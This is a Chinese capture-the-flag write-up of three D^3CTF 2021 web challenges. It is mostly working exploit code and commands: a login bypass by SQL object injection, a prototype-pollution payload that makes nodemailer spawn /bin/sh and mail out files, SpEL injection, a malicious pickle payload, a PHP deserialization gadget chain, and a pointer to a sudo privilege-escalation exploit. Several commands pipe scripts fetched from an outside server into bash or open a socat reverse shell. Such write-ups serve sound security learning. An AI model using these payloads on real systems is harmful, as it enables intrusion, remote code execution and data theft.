D^3CTF 2021
题目质量很高。感谢出题师傅们。
太菜了只会做两个web。
其他方向的师傅们很强,躺着上分
8-bit pub
题目给了源码
随便注册个账号发现要admin登录,第一步应该是怎么成为admin。
这个trick在googleCTF2020出过
signin: function (username, password, done) {
sql.query(
"SELECT * FROM users WHERE username = ? AND password = ?",
[username, password],
function (err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
} else {
return done(null, res);
}
}
);
}
我们要以admin登录,但是我们并不知道admin的密码,因此想办法构造万能密码
我们提交一个对象,看看sql.query()
传参为对象会变成甚么
自己开个test.js
const sql = require("../utils/db.js");
const password = {
"password":1
}
var mySql=sql.format(
"SELECT * FROM users WHERE username = ? AND password = ?",
["admin", password])
console.log(mySql)
这里可以发现传入对象直接转换成key=value
的形式了,而mysql中的反引号为列名。然后直接返回True,就登录成功了
登陆成功。
进去以后主要看controllers/adminController.js
const send = require("../utils/mail");
const shvl = require("shvl");
module.exports = {
home: function (req, res) {
return res.sendView("admin.html");
},
email: async function (req, res) {
let contents = {};
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});
contents.from = '"admin" <admin@8-bit.pub>';
try {
await send(contents);
return res.json({message: "Success."});
} catch (err) {
return res.status(500).json({ message: err.message });
}
},
};
这里的shvl.set(contents, key, req.body[key]);
键名可控,明显是原型链污染
首先我们看一下shvl.set
的用法
https://www.npmjs.com/package/shvl
import * as shvl from 'shvl';
let obj = {
a: {
b: {
c: 1
d: undefined
e: null
}
}
};
// Use dot notation for keys
shvl.set(obj, 'a.b.c', 2);
shvl.get(obj, 'a.b.c') === 2;
题目中的shvl.set
其实就是循环赋值。在这个例子中,c被赋值为2
所以我们输入的参数会被循环赋值给contents
且键名可控。造成了原型链污染。
调试一下看看规则,发现__proto__
被waf掉了,于是就稍微绕一下。
可以用constructor.prototype
绕
随便来一发__proto__
发现__proto__
已经被污染了。
const nodemailer = require("nodemailer");
async function send(contents) {
let transporter = nodemailer.createTransport({
host: "******", // Plz use your own smtp server for testing.
port: 25,
tls: { rejectUnauthorized: false },
auth: {
user: "******",
pass: "******",
},
});
return transporter.sendMail(contents);
}
module.exports = send;
在看一下发送信息这里,这里确实是可以给我们的邮箱发信息的,于是看一下nodemailer
的文档,发现attachments
可以带附件发送。于是尝试读文件。
发送成功。
同时我们在邮箱里也接到了/etc/passwd
下一步要审源码,目前我们已经控制了原型链,看看哪里有危险函数,可以RCE。
最终在这里发现有一个spawn函数。可以执行命令
网上看这两个参数都是可控的。于是尝试一下污染这两个参数。
且这道题好像不能出网,不能弹shell。只能先读/readflag到/tmp/flag,然后再用刚才的下载附件读取flag
node_modules/nodemailer/lib/nodemailer.js
node_modules/nodemailer/lib/mailer/index.js
因为我们要攻击的是SendmailTransport
类,所以这里要污染sendmail
。
让这个send
进入SendmailTransport
类的send
import requests
import time
def test():
session = requests.session()
session.proxies ={
"http":"http://127.0.0.1:8080/"
}
burp0_url = "http://7281fd0fb4.8bit-pub.d3ctf.io:80/user/signin"
burp0_headers = {"Accept": "*/*", "DNT": "1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Origin": "http://7281fd0fb4.8bit-pub.d3ctf.io", "Referer": "http://7281fd0fb4.8bit-pub.d3ctf.io/signin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_json={"password": {"password": 1}, "username": "admin"}
res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
print(res.text)
burp0_url = "http://7281fd0fb4.8bit-pub.d3ctf.io:80/admin/email"
# burp0_cookies = {"session": "s%3AA1Wfg_YiuQ5kJ2i7cE162YwtJedc1KIo.So598S5jg%2BpYSAjAv%2B222o3UuNlDqSH%2F3SYS03fJQrc"}
burp0_headers = {"Accept": "*/*", "DNT": "1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Origin": "http://7281fd0fb4.8bit-pub.d3ctf.io", "Referer": "http://7281fd0fb4.8bit-pub.d3ctf.io/admin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_json={"constructor.prototype.args":["-c","/readflag > '/tmp/ffllaagg'"],"constructor.prototype.path":"/bin/sh","constructor.prototype.sendmail":["1"],"subject":"1","text":"1","to":"1362612010@qq.com"}
res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
print(res.text)
return res.text
result = test()
然后用邮箱带出flag
比较阴险的是这里居然强行加了一个-i参数。。必须用-c参数转换一下。。
Happy_Valentine's_Day
name那里有spel注入。
本来是有waf的,但是一个换行就直接绕了。。
访问预览触发。
使用T(Type)表示Type类的实例
[[${T(java.lang.Runtime).getRuntime().exec("")}]]
可以用这个执行RCE。但是不能直接弹shell,考虑写sh脚本弹shell。
这个弹shell手法我曾在华为XCTF用过http://www.yang99.top/index.php/archives/13/
curl -o /tmp/b.sh 47.97.123.81:8000/2.txt
sh /tmp/b.sh
vps上写
#!/bin/bash
echo "Hello World !"
curl 47.97.123.81/1.txt|bash
进去发现没权限读flag,要提权
CVE-2021-3156
提权 https://github.com/CptGibbon/CVE-2021-3156
Poolcalc
赛后稍微复现了一下
一道很综合性的题目,四种语言都有。
看到的界面是node.js写的。
进去直接可以读文件
/redirect?filename=app.js
const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");
dotenv.config()
const app = express()
app.use(express.static('public'));
app.get("/", (req, res) => {
return res.redirect("/redirect?filename=index.html")
})
app.get("/redirect", (req, res) => {
let filename = req.query.filename
res.sendFile(`${__dirname}/` + filename)
})
app.get('/calc', (req, res) => {
let params = req.query
var lang = params.language !== undefined ? params.language : "python"
let calc_client_path = {
"python": process.env.py_calc_tool_path,
"php": process.env.php_calc_tool_path,
"java": process.env.java_calc_tool_path
}
if (lang === 'python') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.py_calc_address,
"port": process.env.py_calc_port
}
var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'php') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.php_calc_address,
"port": process.env.php_calc_port
}
var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'java') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.java_calc_address,
"port": process.env.java_calc_port
}
var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
}
try {
exec(cmd, ((error, stdout, stderr) => {
res.send(stdout)
}))
} catch (e) {
res.send("Something Error")
}
})
const port = process.env.web_app_port
app.listen(port, () => {
console.log(`App listening at http://0.0.0.0:${port}`)
})
简单审计一波。命令可以拼接
/calc?language=python&action=add&a=1&b=;ls;
直接RCE,可以弹个shell出来。
因为要经常在这个shell里操作,于是创建一个更好用的shell
靶机执行
curl -o /tmp/socat http://47.97.123.81/socat
chmod +x /tmp/socat;
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:47.97.123.81:11452;
服务器监听
socat file:`tty`,raw,echo=0 tcp-listen:11452
这样弹出来的shell和真实的shell就一模一样了。十分好用
curl+c和方向键都可以用。
顺便,在第一台机器下有第一个flag。
在calc里有py,php,java的计算client。
用curl保存下来
nc -lvvp 11452 > client
curl -d @client 47.97.123.81:11452
*可以通过curl命令查看每个域名对应的IP地址
因为要攻击内网服务,因此需要不断的传文件到靶机上,很不方便,因此使用ew反代
python部分
这个client文件是用pyinstaller打包的,要得到源码首先要解包
https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries
objcopy --dump-section pydata=pydata.dump pythonclient
python3 pyinstxtractor.py pydata.dump
cd pydata.dump_extracted
uncompyle6 client.pyc
我本地不知道为什么,反编译会报错。意义不大,直接贴个源码吧
import socket, sys, _pickle as pickle, argparse
from Calculator import Calculator
def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data
def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()
try:
try:
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()
finally:
s.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-ip', '--ip_address', help='',
required=True)
parser.add_argument('-p', '--port', help='', required=True)
parser.add_argument('-action', help='', required=True)
parser.add_argument('-a', help='', required=True)
parser.add_argument('-b', help='', required=True)
args = parser.parse_args()
if args.ip_address is None:
args.ip_address = '127.0.0.1'
if args.port is None:
args.port = 8080
data = generate_data(args.action, args.a, args.b)
send_data(args.ip_address, args.port, data)
# okay decompiling client.pyc
简单审计一下发现经典pickle反序列化data = pickle.dumps(obj)
直接打
EXP
import socket, sys, _pickle as pickle,os
class Calculator(object):
def __init__(self,action,a,b):
self.a = a
self.b = b
def __reduce__(self):
return (os.system, ('curl 47.97.123.81/1.txt|bash',))
def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data
def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()
try:
try:
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()
finally:
s.close()
if __name__ == '__main__':
data = generate_data('add', 1,2)
send_data('172.20.0.4', 8080, data)
PHP部分
用phar extractto也能获得源码
<?php
include_once __DIR__ . "/Calculator.php";
$params = $argv;
$i = 0;
$action = $params[$i + 2];
$a = $params[$i + 4];
$b = $params[$i + 6];
$ip = $params[$i + 8];
$port = $params[$i + 10];
$calculator = new Calculator($action, $a, $b);
$data = serialize($calculator);
// send serialize data
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();
<?php
class Calculator
{
private $action;
private $a;
private $b;
private $res;
function __construct($action, $a, $b)
{
$this->action = $action;
$this->a = $a;
$this->b = $b;
}
private function add()
{
$this->res = $this->a + $this->b;
}
private function sub()
{
$this->res = $this->a - $this->b;
}
private function mul()
{
$this->res = $this->a * $this->b;
}
private function div()
{
$this->res = $this->a / $this->b;
}
public function __invoke()
{
// TODO: Implement __invoke() method.
if ($this->action == 'add') {
$this->add();
} elseif ($this->action == "sub") {
$this->sub();
} elseif ($this->action == "mul") {
$this->mul();
} elseif ($this->action == "div") {
$this->div();
}
return $this->res;
}
}
直接NULL的 Exp打
// Author: Wupco (http://www.wupco.cn/)
<?php
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include("Handler.php");
function process_serialized($serialized)
{
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while (
$current < strlen($serialized) &&
preg_match(
$pattern,
$serialized,
$matches,
PREG_OFFSET_CAPTURE,
$current
)
) {
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if (!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
)) {
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for ($i=0; $i < strlen($string); $i++) {
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION, "array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('curl xxxxx');
$o->setOpt(CURLOPT_POST, 1);
$o->setOpt(CURLOPT_POSTFIELDS, "aaa");
$o->setOpt(CURLOPT_HTTPHEADER, ["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));
Java部分
复现https://github.com/lalajun/RMIDeserialize
是RMI反序列化。等以后学习Javaweb再来复现
- 8u221RMI 反序列化RCE